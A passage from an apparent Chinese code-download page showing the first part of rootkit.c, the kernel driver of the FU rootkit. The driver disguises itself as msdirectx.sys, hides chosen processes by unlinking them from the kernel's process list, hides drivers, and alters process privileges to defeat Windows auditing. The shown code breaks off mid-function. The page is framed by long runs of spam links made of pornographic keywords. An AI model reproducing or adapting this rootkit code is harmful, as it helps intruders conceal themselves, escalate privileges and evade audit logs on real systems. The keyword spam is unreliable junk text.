亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專(zhuān)輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? rootkit.c

?? 進(jìn)程隱藏驅(qū)動(dòng)
?? C
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):
///////////////////////////////////////////////////////////////////////////////////////
// Filename Rootkit.c
// 
// Author: fuzen_op
// Email:  fuzen_op@yahoo.com or fuzen_op@rootkit.com
//
// Description: This driver does all the work of fu.exe. The driver is never unloaded 
//              until reboot. You can use whatever methods you like to load the driver 
//				such as SystemLoadAndCallImage suggested by Greg Hoglund. The driver 
//              is named msdirectx.sys. It is a play on Microsoft's DirectX and is named
//              this to help hide it. (A future tool will hide it completely!) The 
//              driver can change the groups and privileges on any process. It can also 
//              hide a process. Another feature is it can impersonate another logon 
//              session so that Windows Auditing etc. does not know what user really 
//              performed the actions you choose to take with the process. It does all 
//              this by Direct Kernel Object Manipulation (TM). No worries about do I have 
//              permission to that process, token, etc. If you can load a driver once, 
//              you are golden! NOW IT HIDES DRIVERS TOO!
//
// Date:    5/27/2003
// Version: 2.0
//
// Date     7/04/2003   Fixed a problem with a modified token not being inheritable.
//		   12/04/2003   Fixed problem with faking out the Windows Event Viewer.	
//						Cleaned up the code a lot! 
//		   12/05/2003   Now the driver walks the PsLoadedModuleList and removes references 
//                      to the device being hidden. Even after the device is hidden, a user 
//						land process can open a handle to it if its symbolic link name still 
//						exists. Obviously, a stealth driver would not want to create a or it 
//						could delete the symbolic link once it has initialized through the use
//						of an IOCTL.	

#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"

#include "Rootkit.h"
#include "ProcessName.h"
#include "ioctlcmd.h"


const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[]  = L"\\Device\\msdirectx";


//#define DEGUBPRINT
//#ifdef DEBUGPRINT
	#define   DebugPrint		DbgPrint
//#else
//	#define   DebugPrint
//#endif
   
NTSTATUS DriverEntry(
				   IN PDRIVER_OBJECT  DriverObject,
				   IN PUNICODE_STRING RegistryPath
					)
{
	
    NTSTATUS                ntStatus;
    UNICODE_STRING          deviceNameUnicodeString;
    UNICODE_STRING          deviceLinkUnicodeString;        


	// Setup our name and symbolic link. 
    RtlInitUnicodeString (&deviceNameUnicodeString,
                          deviceNameBuffer );
    RtlInitUnicodeString (&deviceLinkUnicodeString,
                          deviceLinkBuffer );
    // Set up the device
    //
    ntStatus = IoCreateDevice ( DriverObject,
                                0, // For driver extension
                                &deviceNameUnicodeString,
                                FILE_DEVICE_ROOTKIT,
                                0,
                                TRUE,
                                &g_RootkitDevice );

    if(! NT_SUCCESS(ntStatus))
	{
        DebugPrint(("Failed to create device!\n"));
        return ntStatus;
    }
 
		
	ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
                                        &deviceNameUnicodeString );
    if(! NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice(DriverObject->DeviceObject);
        DebugPrint("Failed to create symbolic link!\n");
        return ntStatus;
    }


    // Create dispatch points for all routines that must be handled
    DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =
    DriverObject->MajorFunction[IRP_MJ_CREATE]          =
    DriverObject->MajorFunction[IRP_MJ_CLOSE]           =
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = RootkitDispatch;

	// Its extremely unsafe to unload a system-call hooker.
	// Use GREAT caution.
    DriverObject->DriverUnload                          = RootkitUnload;
   
   
	// Get the offset of the process name in the EPROCESS structure.
	gul_ProcessNameOffset = GetLocationOfProcessName(PsGetCurrentProcess());
	if (!gul_ProcessNameOffset)
	{
		IoDeleteSymbolicLink( &deviceLinkUnicodeString );
		// Delete the device object
		DebugPrint("Failed to create gul_PsLoadedModuleList link!\n");
		IoDeleteDevice( DriverObject->DeviceObject );
		return STATUS_UNSUCCESSFUL;
	}

	gul_PsLoadedModuleList = (PMODULE_ENTRY) FindPsLoadedModuleList(DriverObject);
	if (!gul_PsLoadedModuleList)
	{
		IoDeleteSymbolicLink( &deviceLinkUnicodeString );
		// Delete the device object
		DebugPrint("Failed to create gul_PsLoadedModuleList link!\n");
		IoDeleteDevice( DriverObject->DeviceObject );
		return STATUS_UNSUCCESSFUL;
	}


    return STATUS_SUCCESS;
}


NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING          deviceLinkUnicodeString;
	PDEVICE_OBJECT			p_NextObj;

	p_NextObj = DriverObject->DeviceObject;

	if (p_NextObj != NULL)
	{
        // Delete the symbolic link for our device
		//
		RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
		IoDeleteSymbolicLink( &deviceLinkUnicodeString );
		// Delete the device object
		//
		IoDeleteDevice( DriverObject->DeviceObject );
		return STATUS_SUCCESS;
	}
	return STATUS_SUCCESS;
}



NTSTATUS 
RootkitDispatch(
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp 
    )
{
    PIO_STACK_LOCATION      irpStack;
    PVOID                   inputBuffer;
    PVOID                   outputBuffer;
    ULONG                   inputBufferLength;
    ULONG                   outputBufferLength;
    ULONG                   ioControlCode;
	NTSTATUS				ntstatus;

    //
    // Go ahead and set the request up as successful
    //
    ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

    //
    // Get a pointer to the current location in the Irp. This is where
    //     the function codes and parameters are located.
    //
    irpStack = IoGetCurrentIrpStackLocation (Irp);

    //
    // Get the pointer to the input/output buffer and its length
    //
    inputBuffer             = Irp->AssociatedIrp.SystemBuffer;
    inputBufferLength       = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outputBuffer            = Irp->AssociatedIrp.SystemBuffer;
    outputBufferLength      = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode           = irpStack->Parameters.DeviceIoControl.IoControlCode;

    switch (irpStack->MajorFunction) {
    case IRP_MJ_CREATE:
        break;

    case IRP_MJ_SHUTDOWN:
        break;

    case IRP_MJ_CLOSE:
        break;

    case IRP_MJ_DEVICE_CONTROL:

        if(IOCTL_TRANSFER_TYPE(ioControlCode) == METHOD_NEITHER) {
            outputBuffer = Irp->UserBuffer;
        }

        // Its a request from rootkit 
        ntstatus = RootkitDeviceControl(	irpStack->FileObject, TRUE,
												inputBuffer, inputBufferLength, 
												outputBuffer, outputBufferLength,
												ioControlCode, &Irp->IoStatus, DeviceObject );
        break;
    }
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
    return ntstatus;   
}


NTSTATUS
RootkitDeviceControl(
    IN PFILE_OBJECT FileObject, 
    IN BOOLEAN Wait,
    IN PVOID InputBuffer, 
    IN ULONG InputBufferLength, 
    OUT PVOID OutputBuffer, 
    IN ULONG OutputBufferLength, 
    IN ULONG IoControlCode, 
    OUT PIO_STATUS_BLOCK IoStatus, 
    IN PDEVICE_OBJECT DeviceObject 
    ) 
{
	NTSTATUS ntStatus;
    UNICODE_STRING          deviceLinkUnicodeString;
	MODULE_ENTRY m_current;
	PMODULE_ENTRY pm_current;
	ANSI_STRING ansi_DriverName;
	ANSI_STRING hide_DriverName;
	UNICODE_STRING uni_hide_DriverName;
	int	i_count = 0,   i_numLogs = 0,      find_PID = 0;
	int nluids  = 0, i_PrivCount = 0, i_VariableLen = 0;
	int i_LuidsUsed = 0, luid_attr_count = 0, i_SidCount = 0;
	int i_SidSize = 0, i_spaceNeeded = 0, i_spaceSaved = 0; 
	int i_spaceUsed = 0, sid_count  = 0;
	DWORD eproc      = 0x00000000;
	DWORD start_eproc= 0x00000000;
	DWORD token      = 0x00000000;
	PLIST_ENTRY          plist_active_procs = NULL;
	PLUID_AND_ATTRIBUTES luids_attr = NULL;
	PLUID_AND_ATTRIBUTES luids_attr_orig = NULL;
	PSID_AND_ATTRIBUTES  sid_ptr_old = NULL;

	void *varpart  = NULL, *varbegin = NULL, *psid = NULL;

	DWORD SizeOfOldSids, SizeOfLastSid, d_SidStart;

	IoStatus->Status = STATUS_SUCCESS;
    IoStatus->Information = 0;

    switch ( IoControlCode ) 
	{

	case IOCTL_ROOTKIT_INIT:
		if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}
		PIDOFFSET       = (int) (*(int *)InputBuffer);
		FLINKOFFSET     = (int) (*((int *)InputBuffer+1));
		AUTHIDOFFSET    = (int) (*((int *)InputBuffer+2));
		TOKENOFFSET     = (int) (*((int *)InputBuffer+3));
		PRIVCOUNTOFFSET = (int) (*((int *)InputBuffer+4));
		PRIVADDROFFSET  = (int) (*((int *)InputBuffer+5));
		SIDCOUNTOFFSET  = (int) (*((int *)InputBuffer+6));
		SIDADDROFFSET   = (int) (*((int *)InputBuffer+7));

	break;

	case IOCTL_ROOTKIT_HIDEME:
		if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}

		find_PID = *((DWORD *)InputBuffer);
		if (find_PID == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		eproc = FindProcessEPROC(find_PID);
		if (eproc == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
		*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
		*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
	
	  break;

	case IOCTL_ROOTKIT_LISTPROC:
/*		if ((OutputBufferLength < PROCNAMEIDLEN) || (OutputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}

		i_numLogs = OutputBufferLength / PROCNAMEIDLEN;
		if (i_numLogs < 1)
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}

		find_PID = (DWORD) PsGetCurrentProcessId();
		eproc = FindProcessEPROC(find_PID);

		if (eproc == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}

		start_eproc = eproc;
		RtlZeroMemory(OutputBuffer, OutputBufferLength);

		for (i_count = 1; i_count <= i_numLogs; i_count++)
		{
			_snprintf((char *)((DWORD)OutputBuffer + ((i_count-1) * PROCNAMEIDLEN)), PROCNAMEIDLEN-1, "%s:%u",(char *) eproc+gul_ProcessNameOffset, *(DWORD *)(eproc+PIDOFFSET));
			IoStatus->Information = (i_count) * PROCNAMEIDLEN;
			plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
			eproc = (DWORD) plist_active_procs->Flink;
			eproc = eproc - FLINKOFFSET;
			if (start_eproc == eproc)
			{
				break;
			}
		}
		
		IoStatus->Status = STATUS_SUCCESS;
*/
		break; 

	case IOCTL_ROOTKIT_SETPRIV:
/*		if ((InputBufferLength < sizeof(struct _vars)) || (InputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}
		////////////////////////////////////////////////////////////////////////////////////////
		// Some of these are pointers so what they point to may not be paged in, but I don't care. It is 
		// proof of concept code for a reason.
		find_PID = ((VARS *)InputBuffer)->the_PID;
		luids_attr = ((VARS *)InputBuffer)->pluida;
		nluids = ((VARS *)InputBuffer)->num_luids;

		if ((find_PID == 0x00000000) || (luids_attr == NULL) || (nluids == 0))
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		eproc = FindProcessEPROC(find_PID);
		if (eproc == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		token = FindProcessToken(eproc);

		i_PrivCount     = *(PDWORD)(token + PRIVCOUNTOFFSET);
		luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);
		//FindTokenParams(token, &i_PrivCount, (PDWORD)&luids_attr_orig);

		// If the new privilege already exists in the token, just change its Attribute field.
		for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)
		{
			for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)
			{
				if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (memcmp(&luids_attr_orig[luid_attr_count].Luid, &luids_attr[i_LuidsUsed].Luid, sizeof(LUID)) == 0))
				{
					luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
					luids_attr[i_LuidsUsed].Attributes = 0xffffffff; // Canary value we will use
				}
			}
		}

		// OK, we did not find one of the new Privileges in the set of existing privileges so we are going to find the
		// disabled privileges and overwrite them.
		for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)
		{
			if (luids_attr[i_LuidsUsed].Attributes != 0xffffffff)
			{
				for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)
				{
					// If the privilege was disabled anyway, it was not necessary and we are going to reuse this space for our 
					// new privileges we want to add. Not all the privileges we request may get added because of space so you
					// should order the new privileges in decreasing order.
					if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (luids_attr_orig[luid_attr_count].Attributes == 0x00000000))
					{
						luids_attr_orig[luid_attr_count].Luid       = luids_attr[i_LuidsUsed].Luid;
						luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
						luids_attr[i_LuidsUsed].Attributes          = 0xffffffff; // Canary value we will use
					}

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美人妇做爰xxxⅹ性高电影| 色婷婷一区二区三区四区| 国产精品污网站| 91年精品国产| 日韩成人dvd| 综合久久国产九一剧情麻豆| 欧美视频一区二区三区四区| 韩国精品久久久| 18成人在线观看| 久久精品一区蜜桃臀影院| 色综合久久久久| 麻豆91免费看| 伊人色综合久久天天| 国产亚洲1区2区3区| 欧美伊人久久久久久久久影院| 久久av老司机精品网站导航| 日韩美女视频一区| 精品国产伦理网| 欧美体内she精高潮| 国产精品911| 五月开心婷婷久久| 中文字幕欧美激情| 欧美一卡二卡在线观看| 色综合天天综合网天天看片| 极品销魂美女一区二区三区| 日韩福利视频导航| 亚洲精品日韩一| 欧美激情自拍偷拍| 欧美大度的电影原声| 欧美精品 国产精品| 91亚洲精品乱码久久久久久蜜桃 | 欧美国产精品一区二区| 成人精品国产一区二区4080| 国产精品影视天天线| 人妖欧美一区二区| 亚洲最大色网站| 久久久国产精华| 欧美v亚洲v综合ⅴ国产v| 欧美日韩在线精品一区二区三区激情| 成人午夜av影视| 成人av手机在线观看| 精品午夜久久福利影院| 青青草精品视频| 日韩一区欧美二区| 午夜伊人狠狠久久| 一区二区三区在线观看国产| 国产精品久久一卡二卡| 精品国精品国产| 久久中文字幕电影| 欧美成人高清电影在线| 日韩免费高清视频| www国产成人免费观看视频 深夜成人网| 在线观看av不卡| 欧美午夜精品久久久久久超碰| 色呦呦日韩精品| 欧美日韩一区小说| 欧美色欧美亚洲另类二区| 在线观看视频一区| 91电影在线观看| 欧美片在线播放| 欧美男生操女生| 在线播放91灌醉迷j高跟美女| 欧美三区在线视频| 欧美一区欧美二区| 精品美女被调教视频大全网站| 欧美一区二区在线观看| 欧美网站大全在线观看| 日韩丝袜美女视频| 精品欧美一区二区久久| 久久久久国产精品人| 日韩精品一区二区三区swag| 欧美不卡在线视频| 欧美韩国日本一区| 亚洲日本丝袜连裤袜办公室| 午夜精品久久久久久久蜜桃app| 亚洲电影视频在线| 日本特黄久久久高潮| 久草精品在线观看| 99vv1com这只有精品| 欧美在线色视频| 8x8x8国产精品| 日韩精品自拍偷拍| 国产精品久久久久婷婷| 亚洲欧美日韩一区| 无吗不卡中文字幕| 久久福利视频一区二区| 成人av电影观看| 欧美日韩一区二区在线观看| 日韩欧美精品在线| 久久精品视频免费观看| 亚洲午夜久久久久久久久久久| 日韩电影免费在线看| 国产成人自拍在线| 在线综合亚洲欧美在线视频| 久久一区二区三区国产精品| 中文字幕在线观看一区| 亚洲超碰97人人做人人爱| 看电视剧不卡顿的网站| 不卡av免费在线观看| 在线不卡一区二区| 2020国产精品自拍| 亚洲精品免费播放| 久久国产尿小便嘘嘘| 成人精品一区二区三区四区 | 日韩欧美亚洲国产另类 | 337p亚洲精品色噜噜噜| 久久色在线观看| 亚洲一区在线视频观看| 国产91综合一区在线观看| 欧美伊人久久久久久午夜久久久久| 日韩久久久久久| 亚洲激情男女视频| 国产91色综合久久免费分享| 欧美日韩一区二区在线观看 | 欧美日韩国产成人在线91| 国产精品久久久久久一区二区三区 | 国产精华液一区二区三区| 国产盗摄一区二区三区| 日韩视频中午一区| 亚洲成人手机在线| 国产在线精品一区在线观看麻豆| 欧美卡1卡2卡| 午夜欧美在线一二页| 日本韩国欧美国产| 日韩一区欧美一区| 成人免费的视频| 国产精品视频在线看| 国产九色sp调教91| 久久亚洲春色中文字幕久久久| 日产欧产美韩系列久久99| 欧美日高清视频| 香蕉久久夜色精品国产使用方法| 在线区一区二视频| 一二三四社区欧美黄| 色欲综合视频天天天| 国产精品国产三级国产专播品爱网 | 成人av网站大全| 亚洲色图19p| 在线亚洲一区二区| 亚洲综合男人的天堂| 在线免费观看成人短视频| 一区二区在线免费观看| 欧美性猛交xxxx黑人交| 午夜私人影院久久久久| 欧美精品一卡二卡| 日韩成人一区二区三区在线观看| 欧美日韩亚洲国产综合| 日本vs亚洲vs韩国一区三区二区 | 亚洲精品福利视频网站| 91久久久免费一区二区| 一区二区三区中文字幕| 欧美浪妇xxxx高跟鞋交| 美国三级日本三级久久99| 精品国产一区二区三区四区四| 国产综合一区二区| 国产精品视频免费看| 一本一道久久a久久精品| 午夜视频一区二区三区| 精品国产免费视频| 99精品国产99久久久久久白柏 | 亚洲欧洲av在线| 在线观看网站黄不卡| 蜜桃视频在线观看一区| 国产欧美日韩另类一区| 色婷婷激情综合| 老司机午夜精品| 国产精品久久久久久久裸模| 在线视频欧美区| 久草热8精品视频在线观看| 国产精品乱子久久久久| 欧美日韩在线精品一区二区三区激情 | 精品粉嫩超白一线天av| 成人黄色综合网站| 午夜精品视频一区| 国产网红主播福利一区二区| 91久久香蕉国产日韩欧美9色| 日本中文一区二区三区| 国产欧美一区二区三区鸳鸯浴 | 国产一区欧美日韩| 国产免费久久精品| 亚洲精品ww久久久久久p站| 免费国产亚洲视频| 国产精品1024| 91丝袜国产在线播放| 日韩欧美中文一区二区| 狠狠久久亚洲欧美| 成人欧美一区二区三区小说| 欧美午夜理伦三级在线观看| 亚洲大片精品永久免费| 日韩欧美aaaaaa| 在线视频观看一区| 精品一区二区三区在线播放| 国产丝袜欧美中文另类| 在线不卡中文字幕| 成人动漫视频在线| 亚洲成av人片观看| 欧美日韩高清在线播放| 国产suv精品一区二区883| 国产精品福利av| 色哟哟在线观看一区二区三区|